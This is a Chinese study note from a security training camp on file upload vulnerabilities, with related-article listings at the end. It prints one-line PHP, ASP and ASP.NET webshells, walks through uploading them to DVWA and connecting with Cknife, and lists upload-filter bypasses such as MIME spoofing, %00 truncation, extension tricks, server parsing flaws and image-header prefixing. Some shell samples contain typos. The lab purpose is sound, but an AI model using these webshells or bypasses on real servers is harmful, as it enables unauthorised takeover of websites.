集训第六天:文件上传漏洞

韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。

文件上传漏洞

上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力

木马

根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马

PHP一句话木马:

<?php ehco shell_exec($_GET[‘a’]); ?>

<?php ehco shell_exec($_POST[‘a’]); ?>

<?php @eval($_POST[‘a’]); ?>

ASP一句话木马:

<%eval request(“Cknife”)%>

ASP.NET一句话木马:

<%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>

shell_exec()

通过环境执行命令,并且将完整的输出以字符串的方式返回

eval()

把字符串作为PHP代码执行执行a接收到的内容

Cknife(菜刀)

超级强大的网站管理工,分为客户端和代码两部分

只要将那简短的一句话代码放到网站上去就可以取得网站的权限

运行环境:安装了JRE1.7+环境的所有操作系统

主要功能:文件管理、虚拟终端、数据库管理

DVWA’s File Upload

low level的测试一下,源码中没有对任何文件格式进行过滤:

写出一句话木马

用菜刀连接的一句话木马:

<?php @eval($_POST[‘a’]; ?>

直接在网页下通过GET的一句话木马:

<?php echo shell_exec($_GET[‘a’]); ?>

在网页下用hackbar通过POST的一句话木马:

<?php echo shell_exec($_POST[‘a’]); ?>

上传一句话木马直接在网页查到文件

get

post

Cknife连接

连接后可以得到目标服务器下所有文件

源码:

<?php
if (isset($_POST[‘Upload’])) {

    $target_path =
    DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
    //上传路径为../../hackable/uploads/
    $target_path = $target_path . basename( $_FILES['uploaded']['name']);
    //上传路径加上上传的文件名
    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
     //对是否上传成功做出判断,因此所有格式的文件都能上传
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';
      } else {
        echo '<pre>';
        echo $target_path . ' succesfully uploaded!';
        echo '</pre>';
    }
}

?>

文件上传漏洞检测

客户端javascript检测:通常在本地检测文件的扩展名

服务端MIME类型检测:通常检测的是Content-Type内容

服务端目录路径检测:通常根path参数相关的内容

服务端文件扩展名检测:通常检测跟文件extension相关的内容

服务端文件内容检测:检测文件内容是否合法或含有恶意代码

客户端javascript检测

在客户端使用js对不合法图片进行检查

绕过:

禁用页面js

先把文件改成符合条件的文件格式上传,在抓包,修改文件的后缀名

服务端检测绕过(MIME类型检测)

通过判断$_FILES[‘userfile’][‘type’]!=”imgae/gif”来保证上传的文件类型为gif

绕过:通过burp抓包,将原来的Content-Type类型改为符合要求的类型

Content-Type: application/octet-stream

application/octet-stream即为php文件的文件类型格式

服务端目录路径检测

上传路径为“/image/20160704”时,可以通过修改为“image/20160704/eval.php%00filename.gif”

通过%00截断最终导致存储的文件名为eval.php

服务端文件扩展名检测

分为黑名单检测和白名单检测

黑名单检测

接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传

绕过:

后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名“evil.php”改“evil.Php”

名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等

特殊文件名绕过(只适用windows,将文件名改为“evil.php.”或“evil.php”(注意这里有一个空格)。在windows下,不允许这样的命 名,所以会将.和空格自动去掉)。

0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。例如:“1.php%00.jpg”,验证扩展名是“.jpg”,但写入的时候是“1.php”文件

白名单检测

接收上传的文件做扩展名匹配,匹配上的白名单中的扩展名的文件才能上传

绕过:

0x00阶段绕过

解析漏洞绕过:(1)apache解析文件名是从右到左识别扩展名,如“eval.php.jpg”,文件为php文件,不能解析jpg会向前解析php

(2)IIS6.0目录名包含“.asp、.asa、.cer”的话,则该目录下的所有文件都将按照asp解析。

(3)IIS6.0不解析;后面的,所以提交“evil.asp;.html”解析为asp类型

(4)Nginx解析漏洞:将php文件换成其他可以通过的文件后缀,访问的时候在后面加上“eval.php.jpg”,如“evil.jpg/.php”,“evil.jpg”会解析为php的格式

服务端文件内容检测

图像类文件内容检测

文件幻数检测(图片头格式检测):

(1)jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46

(2)gif内容头value= 47 49 46 38 39 61

(3)png内容头value= 89 50 4E 47

绕过:在文件头后加上一句话木马就能绕过

原文:大专栏  集训第六天:文件上传漏洞

原文地址:https://www.cnblogs.com/wangziqiang123/p/11657578.html

时间: 2024-10-11 22:47:44

集训第六天:文件上传漏洞的相关文章

Web应用安全之文件上传漏洞详解

什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这样的攻击.文件上传为什么会是漏洞呢?文件上传本身是没有问题的,问题是文件上传后看服务器怎么来处理,怎么来解析这个文件.如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行. 文件上传后导致的安全问题 上传的文件是web脚本语言,服务器的w

owasp文件上传漏洞简析

0x01: 文件上传漏洞起因于,上传程序没有对上传文件格式进行正确判断,导致可执行程序上传到网站目录. 常见的验证上传文件有两种:1.js本地验证,通过js获取上传文件后缀名,并和白名单比较,匹配则上传成功.由于js代码是本地验证,存在绕过风险(去除js代码,构造表单数据,直接绕过). 2.后端程序验证,通过post数据到file_upload()函数,$_FILES['file']['type']判断上传程序后缀名. function file_upload(){ $file_name = $

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

《白帽子讲WEB安全》学习笔记之第8章 文件上传漏洞

第8章 文件上传漏洞 8.1 文件上传漏洞概述 文件上传漏洞是指用户上传一个可执行的脚本文件,并通过此脚本文件活动执行服务器端的能力. 原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件. 文件上传漏洞安全问题: q  上传文件是WEB脚本文件,服务器的WEB服务器解释并执行了用户上传的脚本,导致代码执行: q  上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行

PHP漏洞全解(九)-文件上传漏洞

本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP解释器,就可以在远程服务器上执行任意PHP脚本,即文件上传漏洞. 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件. 下面是一个简单的文件上传表单 <form action="upload.php" method="post" encty

文件上传漏洞原理与实例测试

0x00 什么是文件上传 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率.企业支持门户,给用户各企业员工有效地共享文件.允许用户上传图片,视频,头像和许多其他类型的文件.向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的. 0x01 为什么文件上传存在漏洞 上传文件的时候,如果服务器脚本语言

【原创】JEECMS v6~v7任意文件上传漏洞(1)

文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定.安全.高效.跨平台等多方面的优点:采用SpringMVC3+Spring3+Hibernate3+Freemarker主流技术架构.广泛应用于政府(部委和省级政府部门.市.县.乡及委办局).教育科研(大.中.小学及各地方教育局).电信运营商.金融(证券.保险及银行).企业(矿业.煤炭.旅游.石油集

文件上传漏洞原理以及防范

1. 什么是文件上传漏洞 程序员由于没有对上传的文件进行严格限定,导致黑客可以通过工具上传其他格式的程序文件(比如:webshell),这样黑客就会拿到一个可执行环境,在服务器上搞破坏. 一个常见的例子,很多网站存在上传图片的功能,如果不对上传图片的扩展名进行检测.过滤就会造成上传漏洞. 2. 如何防范上传漏洞 步骤:前端JS代码限定--->后台代码检测--->取消文件目录执行脚本的权限. 以如何防范图片上传漏洞做个过程分析: 新建一个解决方案: 2.1 第一步前端用JavaScript对上传

PHP任意文件上传漏洞CVE-2015-2348浅析

昨晚安全新闻爆出一个“PHP任意文件上传漏洞”,CVE编号为:CVE-2015-2348. 当时楼主正准备收拾东西回家,看到这个新闻心里一惊:失传江湖多年的0字符截断上传漏洞又重现了?而且还影响这么多版本!如果漏洞属实,看来今晚又要通宵打补丁了啊. 不过经过简单分析后,发现漏洞的利用条件相当苛刻(很多人好奇到底有多苛刻),楼主简单记录自己的分析过程和大家分享一下,如有不当,请多多指正. 一.漏洞概述 漏洞报告者说php的上传函数 move_uploaded_file的目的路径参数可以使用空字符截